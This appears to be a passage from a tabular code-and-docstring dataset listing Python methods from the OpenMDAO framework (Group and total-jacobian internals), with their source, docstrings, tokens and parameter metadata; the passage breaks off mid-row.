hexsha stringlengths 40 40 | repo stringlengths 7 114 | path stringlengths 4 124 | license listlengths 1 9 | language stringclasses 1
value | identifier stringlengths 1 71 | return_type stringlengths 1 749 ⌀ | original_string stringlengths 76 22.7k | original_docstring stringlengths 16 7.61k | docstring stringlengths 16 2.47k | docstring_tokens listlengths 6 477 | code stringlengths 14 10.2k | code_tokens listlengths 6 996 | short_docstring stringlengths 2 644 | short_docstring_tokens listlengths 1 116 | comment listlengths 1 89 | parameters listlengths 0 64 | docstring_params dict |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | _setup_transfers | null | def _setup_transfers(self, recurse=True):
"""
Compute all transfers that are owned by this system.
Parameters
----------
recurse : bool
Whether to call this method in subsystems.
"""
self._vector_class.TRANSFER._setup_transfers(self, recurse=recurse)
... |
Compute all transfers that are owned by this system.
Parameters
----------
recurse : bool
Whether to call this method in subsystems.
| Compute all transfers that are owned by this system.
Parameters
recurse : bool
Whether to call this method in subsystems. | [
"Compute",
"all",
"transfers",
"that",
"are",
"owned",
"by",
"this",
"system",
".",
"Parameters",
"recurse",
":",
"bool",
"Whether",
"to",
"call",
"this",
"method",
"in",
"subsystems",
"."
] | def _setup_transfers(self, recurse=True):
self._vector_class.TRANSFER._setup_transfers(self, recurse=recurse)
if self._conn_discrete_in2out:
self._vector_class.TRANSFER._setup_discrete_transfers(self, recurse=recurse) | [
"def",
"_setup_transfers",
"(",
"self",
",",
"recurse",
"=",
"True",
")",
":",
"self",
".",
"_vector_class",
".",
"TRANSFER",
".",
"_setup_transfers",
"(",
"self",
",",
"recurse",
"=",
"recurse",
")",
"if",
"self",
".",
"_conn_discrete_in2out",
":",
"self",
... | Compute all transfers that are owned by this system. | [
"Compute",
"all",
"transfers",
"that",
"are",
"owned",
"by",
"this",
"system",
"."
] | [
"\"\"\"\n Compute all transfers that are owned by this system.\n\n Parameters\n ----------\n recurse : bool\n Whether to call this method in subsystems.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "recurse",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "recurse",
"type": null,
"docstring": null,
"docstring_tokens"... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | add | <not_specific> | def add(self, name, subsys, promotes=None):
"""
Add a subsystem (deprecated version of <Group.add_subsystem>).
Parameters
----------
name : str
Name of the subsystem being added
subsys : System
An instantiated, but not-yet-set up system object.
... |
Add a subsystem (deprecated version of <Group.add_subsystem>).
Parameters
----------
name : str
Name of the subsystem being added
subsys : System
An instantiated, but not-yet-set up system object.
promotes : iter of str, optional
A li... | Add a subsystem (deprecated version of ).
Parameters
name : str
Name of the subsystem being added
subsys : System
An instantiated, but not-yet-set up system object.
promotes : iter of str, optional
A list of variable names specifying which subsystem variables
to 'promote' up to this group. This is for backwards compat... | [
"Add",
"a",
"subsystem",
"(",
"deprecated",
"version",
"of",
")",
".",
"Parameters",
"name",
":",
"str",
"Name",
"of",
"the",
"subsystem",
"being",
"added",
"subsys",
":",
"System",
"An",
"instantiated",
"but",
"not",
"-",
"yet",
"-",
"set",
"up",
"syste... | def add(self, name, subsys, promotes=None):
warn_deprecation("The 'add' method provides backwards compatibility with "
"OpenMDAO <= 1.x ; use 'add_subsystem' instead.")
return self.add_subsystem(name, subsys, promotes=promotes) | [
"def",
"add",
"(",
"self",
",",
"name",
",",
"subsys",
",",
"promotes",
"=",
"None",
")",
":",
"warn_deprecation",
"(",
"\"The 'add' method provides backwards compatibility with \"",
"\"OpenMDAO <= 1.x ; use 'add_subsystem' instead.\"",
")",
"return",
"self",
".",
"add_su... | Add a subsystem (deprecated version of <Group.add_subsystem>). | [
"Add",
"a",
"subsystem",
"(",
"deprecated",
"version",
"of",
"<Group",
".",
"add_subsystem",
">",
")",
"."
] | [
"\"\"\"\n Add a subsystem (deprecated version of <Group.add_subsystem>).\n\n Parameters\n ----------\n name : str\n Name of the subsystem being added\n subsys : System\n An instantiated, but not-yet-set up system object.\n promotes : iter of str, optio... | [
{
"param": "self",
"type": null
},
{
"param": "name",
"type": null
},
{
"param": "subsys",
"type": null
},
{
"param": "promotes",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "name",
"type": null,
"docstring": null,
"docstring_tokens": [... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | add_subsystem | <not_specific> | def add_subsystem(self, name, subsys, promotes=None,
promotes_inputs=None, promotes_outputs=None,
min_procs=1, max_procs=None, proc_weight=1.0):
"""
Add a subsystem.
Parameters
----------
name : str
Name of the subsystem be... |
Add a subsystem.
Parameters
----------
name : str
Name of the subsystem being added
subsys : <System>
An instantiated, but not-yet-set up system object.
promotes : iter of (str or tuple), optional
A list of variable names specifying w... | Add a subsystem.
Parameters
name : str
Name of the subsystem being added
subsys :
An instantiated, but not-yet-set up system object.
promotes : iter of (str or tuple), optional
A list of variable names specifying which subsystem variables
to 'promote' up to this group. If an entry is a tuple of the
form (old_name, ne... | [
"Add",
"a",
"subsystem",
".",
"Parameters",
"name",
":",
"str",
"Name",
"of",
"the",
"subsystem",
"being",
"added",
"subsys",
":",
"An",
"instantiated",
"but",
"not",
"-",
"yet",
"-",
"set",
"up",
"system",
"object",
".",
"promotes",
":",
"iter",
"of",
... | def add_subsystem(self, name, subsys, promotes=None,
promotes_inputs=None, promotes_outputs=None,
min_procs=1, max_procs=None, proc_weight=1.0):
if inspect.isclass(subsys):
raise TypeError("Subsystem '%s' should be an instance, "
... | [
"def",
"add_subsystem",
"(",
"self",
",",
"name",
",",
"subsys",
",",
"promotes",
"=",
"None",
",",
"promotes_inputs",
"=",
"None",
",",
"promotes_outputs",
"=",
"None",
",",
"min_procs",
"=",
"1",
",",
"max_procs",
"=",
"None",
",",
"proc_weight",
"=",
... | Add a subsystem. | [
"Add",
"a",
"subsystem",
"."
] | [
"\"\"\"\n Add a subsystem.\n\n Parameters\n ----------\n name : str\n Name of the subsystem being added\n subsys : <System>\n An instantiated, but not-yet-set up system object.\n promotes : iter of (str or tuple), optional\n A list of variab... | [
{
"param": "self",
"type": null
},
{
"param": "name",
"type": null
},
{
"param": "subsys",
"type": null
},
{
"param": "promotes",
"type": null
},
{
"param": "promotes_inputs",
"type": null
},
{
"param": "promotes_outputs",
"type": null
},
{
... | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "name",
"type": null,
"docstring": null,
"docstring_tokens": [... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | connect | <not_specific> | def connect(self, src_name, tgt_name, src_indices=None, flat_src_indices=None):
"""
Connect source src_name to target tgt_name in this namespace.
Parameters
----------
src_name : str
name of the source variable to connect
tgt_name : str or [str, ... ] or (str... |
Connect source src_name to target tgt_name in this namespace.
Parameters
----------
src_name : str
name of the source variable to connect
tgt_name : str or [str, ... ] or (str, ...)
name of the target variable(s) to connect
src_indices : int or l... | Connect source src_name to target tgt_name in this namespace.
Parameters
src_name : str
name of the source variable to connect
tgt_name : str or [str, ... ] or (str, ...)
name of the target variable(s) to connect
src_indices : int or list of ints or tuple of ints or int ndarray or Iterable or None
The global indices o... | [
"Connect",
"source",
"src_name",
"to",
"target",
"tgt_name",
"in",
"this",
"namespace",
".",
"Parameters",
"src_name",
":",
"str",
"name",
"of",
"the",
"source",
"variable",
"to",
"connect",
"tgt_name",
":",
"str",
"or",
"[",
"str",
"...",
"]",
"or",
"(",
... | def connect(self, src_name, tgt_name, src_indices=None, flat_src_indices=None):
if isinstance(src_indices, string_types):
if isinstance(tgt_name, string_types):
tgt_name = [tgt_name]
tgt_name.append(src_indices)
raise TypeError("src_indices must be an index ar... | [
"def",
"connect",
"(",
"self",
",",
"src_name",
",",
"tgt_name",
",",
"src_indices",
"=",
"None",
",",
"flat_src_indices",
"=",
"None",
")",
":",
"if",
"isinstance",
"(",
"src_indices",
",",
"string_types",
")",
":",
"if",
"isinstance",
"(",
"tgt_name",
",... | Connect source src_name to target tgt_name in this namespace. | [
"Connect",
"source",
"src_name",
"to",
"target",
"tgt_name",
"in",
"this",
"namespace",
"."
] | [
"\"\"\"\n Connect source src_name to target tgt_name in this namespace.\n\n Parameters\n ----------\n src_name : str\n name of the source variable to connect\n tgt_name : str or [str, ... ] or (str, ...)\n name of the target variable(s) to connect\n sr... | [
{
"param": "self",
"type": null
},
{
"param": "src_name",
"type": null
},
{
"param": "tgt_name",
"type": null
},
{
"param": "src_indices",
"type": null
},
{
"param": "flat_src_indices",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "src_name",
"type": null,
"docstring": null,
"docstring_tokens... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | _get_subsystem | <not_specific> | def _get_subsystem(self, name):
"""
Return the system called 'name' in the current namespace.
Parameters
----------
name : str
name of the desired system in the current namespace.
Returns
-------
System or None
System if found els... |
Return the system called 'name' in the current namespace.
Parameters
----------
name : str
name of the desired system in the current namespace.
Returns
-------
System or None
System if found else None.
| Return the system called 'name' in the current namespace.
Parameters
name : str
name of the desired system in the current namespace.
Returns
System or None
System if found else None. | [
"Return",
"the",
"system",
"called",
"'",
"name",
"'",
"in",
"the",
"current",
"namespace",
".",
"Parameters",
"name",
":",
"str",
"name",
"of",
"the",
"desired",
"system",
"in",
"the",
"current",
"namespace",
".",
"Returns",
"System",
"or",
"None",
"Syste... | def _get_subsystem(self, name):
system = self
for subname in name.split('.'):
for sub in chain(system._static_subsystems_allprocs,
system._subsystems_allprocs):
if sub.name == subname:
system = sub
break
... | [
"def",
"_get_subsystem",
"(",
"self",
",",
"name",
")",
":",
"system",
"=",
"self",
"for",
"subname",
"in",
"name",
".",
"split",
"(",
"'.'",
")",
":",
"for",
"sub",
"in",
"chain",
"(",
"system",
".",
"_static_subsystems_allprocs",
",",
"system",
".",
... | Return the system called 'name' in the current namespace. | [
"Return",
"the",
"system",
"called",
"'",
"name",
"'",
"in",
"the",
"current",
"namespace",
"."
] | [
"\"\"\"\n Return the system called 'name' in the current namespace.\n\n Parameters\n ----------\n name : str\n name of the desired system in the current namespace.\n\n Returns\n -------\n System or None\n System if found else None.\n \"\"... | [
{
"param": "self",
"type": null
},
{
"param": "name",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "name",
"type": null,
"docstring": null,
"docstring_tokens": [... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | _guess_nonlinear | null | def _guess_nonlinear(self):
"""
Provide initial guess for states.
"""
if self._has_guess:
for ind, sub in enumerate(self._subsystems_myproc):
if sub._has_guess:
isub = self._subsystems_myproc_inds[ind]
self._transfer('no... |
Provide initial guess for states.
| Provide initial guess for states. | [
"Provide",
"initial",
"guess",
"for",
"states",
"."
] | def _guess_nonlinear(self):
if self._has_guess:
for ind, sub in enumerate(self._subsystems_myproc):
if sub._has_guess:
isub = self._subsystems_myproc_inds[ind]
self._transfer('nonlinear', 'fwd', isub)
sub._guess_nonlinear() | [
"def",
"_guess_nonlinear",
"(",
"self",
")",
":",
"if",
"self",
".",
"_has_guess",
":",
"for",
"ind",
",",
"sub",
"in",
"enumerate",
"(",
"self",
".",
"_subsystems_myproc",
")",
":",
"if",
"sub",
".",
"_has_guess",
":",
"isub",
"=",
"self",
".",
"_subs... | Provide initial guess for states. | [
"Provide",
"initial",
"guess",
"for",
"states",
"."
] | [
"\"\"\"\n Provide initial guess for states.\n \"\"\""
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | _linearize | null | def _linearize(self, jac, sub_do_ln=True):
"""
Compute jacobian / factorization. The model is assumed to be in a scaled state.
Parameters
----------
jac : Jacobian or None
If None, use local jacobian, else use assembled jacobian jac.
sub_do_ln : boolean
... |
Compute jacobian / factorization. The model is assumed to be in a scaled state.
Parameters
----------
jac : Jacobian or None
If None, use local jacobian, else use assembled jacobian jac.
sub_do_ln : boolean
Flag indicating if the children should call lin... | Compute jacobian / factorization. The model is assumed to be in a scaled state.
Parameters
jac : Jacobian or None
If None, use local jacobian, else use assembled jacobian jac.
sub_do_ln : boolean
Flag indicating if the children should call linearize on their linear solvers. | [
"Compute",
"jacobian",
"/",
"factorization",
".",
"The",
"model",
"is",
"assumed",
"to",
"be",
"in",
"a",
"scaled",
"state",
".",
"Parameters",
"jac",
":",
"Jacobian",
"or",
"None",
"If",
"None",
"use",
"local",
"jacobian",
"else",
"use",
"assembled",
"jac... | def _linearize(self, jac, sub_do_ln=True):
if self._owns_approx_jac:
jac = self._jacobian
with self._unscaled_context(outputs=[self._outputs]):
for approximation in itervalues(self._approx_schemes):
approximation.compute_approximations(self, jac=jac, t... | [
"def",
"_linearize",
"(",
"self",
",",
"jac",
",",
"sub_do_ln",
"=",
"True",
")",
":",
"if",
"self",
".",
"_owns_approx_jac",
":",
"jac",
"=",
"self",
".",
"_jacobian",
"with",
"self",
".",
"_unscaled_context",
"(",
"outputs",
"=",
"[",
"self",
".",
"_... | Compute jacobian / factorization. | [
"Compute",
"jacobian",
"/",
"factorization",
"."
] | [
"\"\"\"\n Compute jacobian / factorization. The model is assumed to be in a scaled state.\n\n Parameters\n ----------\n jac : Jacobian or None\n If None, use local jacobian, else use assembled jacobian jac.\n sub_do_ln : boolean\n Flag indicating if the child... | [
{
"param": "self",
"type": null
},
{
"param": "jac",
"type": null
},
{
"param": "sub_do_ln",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "jac",
"type": null,
"docstring": null,
"docstring_tokens": []... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | approx_totals | null | def approx_totals(self, method='fd', step=None, form=None, step_calc=None):
"""
Approximate derivatives for a Group using the specified approximation method.
Parameters
----------
method : str
The type of approximation that should be used. Valid options include:
... |
Approximate derivatives for a Group using the specified approximation method.
Parameters
----------
method : str
The type of approximation that should be used. Valid options include:
'fd': Finite Difference, 'cs': Complex Step
step : float
St... | Approximate derivatives for a Group using the specified approximation method.
Parameters
method : str
The type of approximation that should be used. Valid options include:
'fd': Finite Difference, 'cs': Complex Step
step : float
Step size for approximation. Defaults to None, in which case, the approximation
method pro... | [
"Approximate",
"derivatives",
"for",
"a",
"Group",
"using",
"the",
"specified",
"approximation",
"method",
".",
"Parameters",
"method",
":",
"str",
"The",
"type",
"of",
"approximation",
"that",
"should",
"be",
"used",
".",
"Valid",
"options",
"include",
":",
"... | def approx_totals(self, method='fd', step=None, form=None, step_calc=None):
self._approx_schemes = OrderedDict()
supported_methods = {'fd': (FiniteDifference, DEFAULT_FD_OPTIONS),
'cs': (ComplexStep, DEFAULT_CS_OPTIONS)}
if method not in supported_methods:
... | [
"def",
"approx_totals",
"(",
"self",
",",
"method",
"=",
"'fd'",
",",
"step",
"=",
"None",
",",
"form",
"=",
"None",
",",
"step_calc",
"=",
"None",
")",
":",
"self",
".",
"_approx_schemes",
"=",
"OrderedDict",
"(",
")",
"supported_methods",
"=",
"{",
"... | Approximate derivatives for a Group using the specified approximation method. | [
"Approximate",
"derivatives",
"for",
"a",
"Group",
"using",
"the",
"specified",
"approximation",
"method",
"."
] | [
"\"\"\"\n Approximate derivatives for a Group using the specified approximation method.\n\n Parameters\n ----------\n method : str\n The type of approximation that should be used. Valid options include:\n 'fd': Finite Difference, 'cs': Complex Step\n step : f... | [
{
"param": "self",
"type": null
},
{
"param": "method",
"type": null
},
{
"param": "step",
"type": null
},
{
"param": "form",
"type": null
},
{
"param": "step_calc",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "method",
"type": null,
"docstring": null,
"docstring_tokens":... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | _setup_partials | null | def _setup_partials(self, recurse=True):
"""
Call setup_partials in components.
Parameters
----------
recurse : bool
Whether to call this method in subsystems.
"""
self._subjacs_info = info = {}
if recurse:
for subsys in self._sub... |
Call setup_partials in components.
Parameters
----------
recurse : bool
Whether to call this method in subsystems.
| Call setup_partials in components.
Parameters
recurse : bool
Whether to call this method in subsystems. | [
"Call",
"setup_partials",
"in",
"components",
".",
"Parameters",
"recurse",
":",
"bool",
"Whether",
"to",
"call",
"this",
"method",
"in",
"subsystems",
"."
] | def _setup_partials(self, recurse=True):
self._subjacs_info = info = {}
if recurse:
for subsys in self._subsystems_myproc:
subsys._setup_partials(recurse)
info.update(subsys._subjacs_info) | [
"def",
"_setup_partials",
"(",
"self",
",",
"recurse",
"=",
"True",
")",
":",
"self",
".",
"_subjacs_info",
"=",
"info",
"=",
"{",
"}",
"if",
"recurse",
":",
"for",
"subsys",
"in",
"self",
".",
"_subsystems_myproc",
":",
"subsys",
".",
"_setup_partials",
... | Call setup_partials in components. | [
"Call",
"setup_partials",
"in",
"components",
"."
] | [
"\"\"\"\n Call setup_partials in components.\n\n Parameters\n ----------\n recurse : bool\n Whether to call this method in subsystems.\n \"\"\""
] | [
{
"param": "self",
"type": null
},
{
"param": "recurse",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "recurse",
"type": null,
"docstring": null,
"docstring_tokens"... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | _setup_jacobians | <not_specific> | def _setup_jacobians(self, recurse=True):
"""
Set and populate jacobians down through the system tree.
In <Group>, we only need to prepare for Group finite difference. However, to be efficient,
we need to find the minimum set of inputs and outputs to approximate.
Parameters
... |
Set and populate jacobians down through the system tree.
In <Group>, we only need to prepare for Group finite difference. However, to be efficient,
we need to find the minimum set of inputs and outputs to approximate.
Parameters
----------
recurse : bool
If... | Set and populate jacobians down through the system tree.
In , we only need to prepare for Group finite difference. However, to be efficient,
we need to find the minimum set of inputs and outputs to approximate.
Parameters
recurse : bool
If True, setup jacobians in all descendants. | [
"Set",
"and",
"populate",
"jacobians",
"down",
"through",
"the",
"system",
"tree",
".",
"In",
"we",
"only",
"need",
"to",
"prepare",
"for",
"Group",
"finite",
"difference",
".",
"However",
"to",
"be",
"efficient",
"we",
"need",
"to",
"find",
"the",
"minimu... | def _setup_jacobians(self, recurse=True):
if not self._use_derivatives:
return
if self._owns_approx_jac:
self._jacobian = DictionaryJacobian(system=self)
method = list(self._approx_schemes.keys())[0]
approx = self._approx_schemes[method]
pro2ab... | [
"def",
"_setup_jacobians",
"(",
"self",
",",
"recurse",
"=",
"True",
")",
":",
"if",
"not",
"self",
".",
"_use_derivatives",
":",
"return",
"if",
"self",
".",
"_owns_approx_jac",
":",
"self",
".",
"_jacobian",
"=",
"DictionaryJacobian",
"(",
"system",
"=",
... | Set and populate jacobians down through the system tree. | [
"Set",
"and",
"populate",
"jacobians",
"down",
"through",
"the",
"system",
"tree",
"."
] | [
"\"\"\"\n Set and populate jacobians down through the system tree.\n\n In <Group>, we only need to prepare for Group finite difference. However, to be efficient,\n we need to find the minimum set of inputs and outputs to approximate.\n\n Parameters\n ----------\n recurse : ... | [
{
"param": "self",
"type": null
},
{
"param": "recurse",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "recurse",
"type": null,
"docstring": null,
"docstring_tokens"... |
2a34c4f0b9cba5b34b7e52e497b646c869cec523 | gsoxley/OpenMDAO | openmdao/core/group.py | [
"Apache-2.0"
] | Python | compute_sys_graph | <not_specific> | def compute_sys_graph(self, comps_only=False):
"""
Compute a dependency graph for subsystems in this group.
Variable connection information is stored in each edge of
the system graph.
Parameters
----------
comps_only : bool (False)
If True, return a ... |
Compute a dependency graph for subsystems in this group.
Variable connection information is stored in each edge of
the system graph.
Parameters
----------
comps_only : bool (False)
If True, return a graph of all components within this group
or a... | Compute a dependency graph for subsystems in this group.
Variable connection information is stored in each edge of
the system graph.
Parameters
comps_only : bool (False)
If True, return a graph of all components within this group
or any of its descendants. No sub-groups will be included. Otherwise,
a graph containing... | [
"Compute",
"a",
"dependency",
"graph",
"for",
"subsystems",
"in",
"this",
"group",
".",
"Variable",
"connection",
"information",
"is",
"stored",
"in",
"each",
"edge",
"of",
"the",
"system",
"graph",
".",
"Parameters",
"comps_only",
":",
"bool",
"(",
"False",
... | def compute_sys_graph(self, comps_only=False):
input_srcs = self._conn_global_abs_in2out
glen = len(self.pathname.split('.')) if self.pathname else 0
graph = nx.DiGraph()
if comps_only:
graph.add_nodes_from(s.pathname for s in
self.system_iter... | [
"def",
"compute_sys_graph",
"(",
"self",
",",
"comps_only",
"=",
"False",
")",
":",
"input_srcs",
"=",
"self",
".",
"_conn_global_abs_in2out",
"glen",
"=",
"len",
"(",
"self",
".",
"pathname",
".",
"split",
"(",
"'.'",
")",
")",
"if",
"self",
".",
"pathn... | Compute a dependency graph for subsystems in this group. | [
"Compute",
"a",
"dependency",
"graph",
"for",
"subsystems",
"in",
"this",
"group",
"."
] | [
"\"\"\"\n Compute a dependency graph for subsystems in this group.\n\n Variable connection information is stored in each edge of\n the system graph.\n\n Parameters\n ----------\n comps_only : bool (False)\n If True, return a graph of all components within this gr... | [
{
"param": "self",
"type": null
},
{
"param": "comps_only",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "comps_only",
"type": null,
"docstring": null,
"docstring_toke... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _initialize_approx | null | def _initialize_approx(self):
"""
Set up internal data structures needed for computing approx totals.
"""
of_set = frozenset(self.of)
wrt_set = frozenset(self.wrt)
model = self.model
# Initialization based on driver (or user) -requested "of" and "wrt".
i... |
Set up internal data structures needed for computing approx totals.
| Set up internal data structures needed for computing approx totals. | [
"Set",
"up",
"internal",
"data",
"structures",
"needed",
"for",
"computing",
"approx",
"totals",
"."
] | def _initialize_approx(self):
of_set = frozenset(self.of)
wrt_set = frozenset(self.wrt)
model = self.model
if not model._owns_approx_jac or model._owns_approx_of != of_set \
or model._owns_approx_wrt != wrt_set:
model._owns_approx_of = of_set
model._own... | [
"def",
"_initialize_approx",
"(",
"self",
")",
":",
"of_set",
"=",
"frozenset",
"(",
"self",
".",
"of",
")",
"wrt_set",
"=",
"frozenset",
"(",
"self",
".",
"wrt",
")",
"model",
"=",
"self",
".",
"model",
"if",
"not",
"model",
".",
"_owns_approx_jac",
"... | Set up internal data structures needed for computing approx totals. | [
"Set",
"up",
"internal",
"data",
"structures",
"needed",
"for",
"computing",
"approx",
"totals",
"."
] | [
"\"\"\"\n Set up internal data structures needed for computing approx totals.\n \"\"\"",
"# Initialization based on driver (or user) -requested \"of\" and \"wrt\".",
"# Support for indices defined on driver vars."
] | [
{
"param": "self",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _get_dict_J | <not_specific> | def _get_dict_J(self, J, wrt, prom_wrt, of, prom_of, wrt_meta, of_meta, return_format):
"""
Create a dict or flat-dict jacobian that maps to views in the given 2D array jacobian.
Parameters
----------
J : ndarray
Array jacobian.
wrt : iter of str
... |
Create a dict or flat-dict jacobian that maps to views in the given 2D array jacobian.
Parameters
----------
J : ndarray
Array jacobian.
wrt : iter of str
Absolute names of input vars.
prom_wrt : iter of str
Promoted names of input va... | Create a dict or flat-dict jacobian that maps to views in the given 2D array jacobian.
Parameters
J : ndarray
Array jacobian.
wrt : iter of str
Absolute names of input vars.
prom_wrt : iter of str
Promoted names of input vars.
of : iter of str
Absolute names of output vars.
prom_of : iter of str
Promoted names of outp... | [
"Create",
"a",
"dict",
"or",
"flat",
"-",
"dict",
"jacobian",
"that",
"maps",
"to",
"views",
"in",
"the",
"given",
"2D",
"array",
"jacobian",
".",
"Parameters",
"J",
":",
"ndarray",
"Array",
"jacobian",
".",
"wrt",
":",
"iter",
"of",
"str",
"Absolute",
... | def _get_dict_J(self, J, wrt, prom_wrt, of, prom_of, wrt_meta, of_meta, return_format):
J_dict = OrderedDict()
if return_format == 'dict':
for i, out in enumerate(of):
J_dict[prom_of[i]] = outer = OrderedDict()
out_slice = of_meta[out][0]
for j... | [
"def",
"_get_dict_J",
"(",
"self",
",",
"J",
",",
"wrt",
",",
"prom_wrt",
",",
"of",
",",
"prom_of",
",",
"wrt_meta",
",",
"of_meta",
",",
"return_format",
")",
":",
"J_dict",
"=",
"OrderedDict",
"(",
")",
"if",
"return_format",
"==",
"'dict'",
":",
"f... | Create a dict or flat-dict jacobian that maps to views in the given 2D array jacobian. | [
"Create",
"a",
"dict",
"or",
"flat",
"-",
"dict",
"jacobian",
"that",
"maps",
"to",
"views",
"in",
"the",
"given",
"2D",
"array",
"jacobian",
"."
] | [
"\"\"\"\n Create a dict or flat-dict jacobian that maps to views in the given 2D array jacobian.\n\n Parameters\n ----------\n J : ndarray\n Array jacobian.\n wrt : iter of str\n Absolute names of input vars.\n prom_wrt : iter of str\n Promo... | [
{
"param": "self",
"type": null
},
{
"param": "J",
"type": null
},
{
"param": "wrt",
"type": null
},
{
"param": "prom_wrt",
"type": null
},
{
"param": "of",
"type": null
},
{
"param": "prom_of",
"type": null
},
{
"param": "wrt_meta",
"t... | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "J",
"type": null,
"docstring": null,
"docstring_tokens": [],
... |
ae66a4489ea77b050f2077fe694cf0809bc9b069 | gsoxley/OpenMDAO | openmdao/core/total_jac.py | [
"Apache-2.0"
] | Python | _get_solvec_map | <not_specific> | def _get_solvec_map(self, names, vois, abs2meta, mode):
"""
Create a dict mapping vecname and direction to an index array into the solution vector.
Using the index array to pull values from the solution vector will give the values
in the order needed by the jacobian.
Parameters... |
Create a dict mapping vecname and direction to an index array into the solution vector.
Using the index array to pull values from the solution vector will give the values
in the order needed by the jacobian.
Parameters
----------
names : iter of str
Names o... | Create a dict mapping vecname and direction to an index array into the solution vector.
Using the index array to pull values from the solution vector will give the values
in the order needed by the jacobian.
Parameters
names : iter of str
Names of the variables making up the rows or columns of the jacobian.
vois : di... | [
"Create",
"a",
"dict",
"mapping",
"vecname",
"and",
"direction",
"to",
"an",
"index",
"array",
"into",
"the",
"solution",
"vector",
".",
"Using",
"the",
"index",
"array",
"to",
"pull",
"values",
"from",
"the",
"solution",
"vector",
"will",
"give",
"the",
"... | def _get_solvec_map(self, names, vois, abs2meta, mode):
idxs = {}
jac_idxs = {}
model = self.model
myproc = model.comm.rank
owners = model._owning_rank
fwd = mode == 'fwd'
missing = False
full_slice = slice(None)
for vecname in model._lin_vec_names... | [
"def",
"_get_solvec_map",
"(",
"self",
",",
"names",
",",
"vois",
",",
"abs2meta",
",",
"mode",
")",
":",
"idxs",
"=",
"{",
"}",
"jac_idxs",
"=",
"{",
"}",
"model",
"=",
"self",
".",
"model",
"myproc",
"=",
"model",
".",
"comm",
".",
"rank",
"owner... | Create a dict mapping vecname and direction to an index array into the solution vector. | [
"Create",
"a",
"dict",
"mapping",
"vecname",
"and",
"direction",
"to",
"an",
"index",
"array",
"into",
"the",
"solution",
"vector",
"."
] | [
"\"\"\"\n Create a dict mapping vecname and direction to an index array into the solution vector.\n\n Using the index array to pull values from the solution vector will give the values\n in the order needed by the jacobian.\n\n Parameters\n ----------\n names : iter of str\... | [
{
"param": "self",
"type": null
},
{
"param": "names",
"type": null
},
{
"param": "vois",
"type": null
},
{
"param": "abs2meta",
"type": null
},
{
"param": "mode",
"type": null
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "self",
"type": null,
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
